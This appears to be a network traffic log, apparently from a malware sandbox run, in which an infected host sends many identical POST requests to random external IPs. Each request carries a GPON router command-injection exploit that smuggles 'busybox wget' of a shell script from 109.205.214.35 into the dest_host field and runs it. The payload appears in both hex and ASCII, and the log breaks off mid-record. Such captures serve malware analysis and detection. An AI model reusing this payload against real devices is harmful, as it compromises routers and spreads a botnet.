Mar 21, 2024 05:22:17.241765022 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
730	192.168.2.14	56168	178.181.108.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241821051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
731	192.168.2.14	43254	212.27.122.26	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241828918 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
732	192.168.2.14	56590	210.50.93.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241852999 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
733	192.168.2.14	33874	118.246.173.153	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241899967 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
734	192.168.2.14	46876	37.96.8.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241964102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
735	192.168.2.14	43516	5.49.107.208	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241965055 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
736	192.168.2.14	56906	210.124.221.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241992950 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
737	192.168.2.14	43836	37.147.131.208	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242057085 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
738	192.168.2.14	51424	42.202.140.164	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242091894 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
739	192.168.2.14	34768	118.90.152.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242144108 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
740	192.168.2.14	34984	94.166.200.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242158890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
741	192.168.2.14	60702	212.79.193.67	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242191076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
742	192.168.2.14	55488	79.214.228.208	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242372990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
743	192.168.2.14	55866	2.238.65.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242376089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
744	192.168.2.14	34810	210.241.182.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242414951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
745	192.168.2.14	43894	94.87.132.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242444038 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
746	192.168.2.14	42800	2.87.16.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242476940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
747	192.168.2.14	45554	210.91.94.109	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242506027 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
748	192.168.2.14	56120	37.207.153.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242593050 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
749	192.168.2.14	32884	94.4.195.61	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242625952 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
750	192.168.2.14	50608	212.188.230.143	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242635965 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
751	192.168.2.14	53532	5.131.80.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242671967 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
752	192.168.2.14	41164	2.142.2.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242700100 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
753	192.168.2.14	55020	94.214.124.22	443

Timestamp	Bytes transferred	Direction	Data
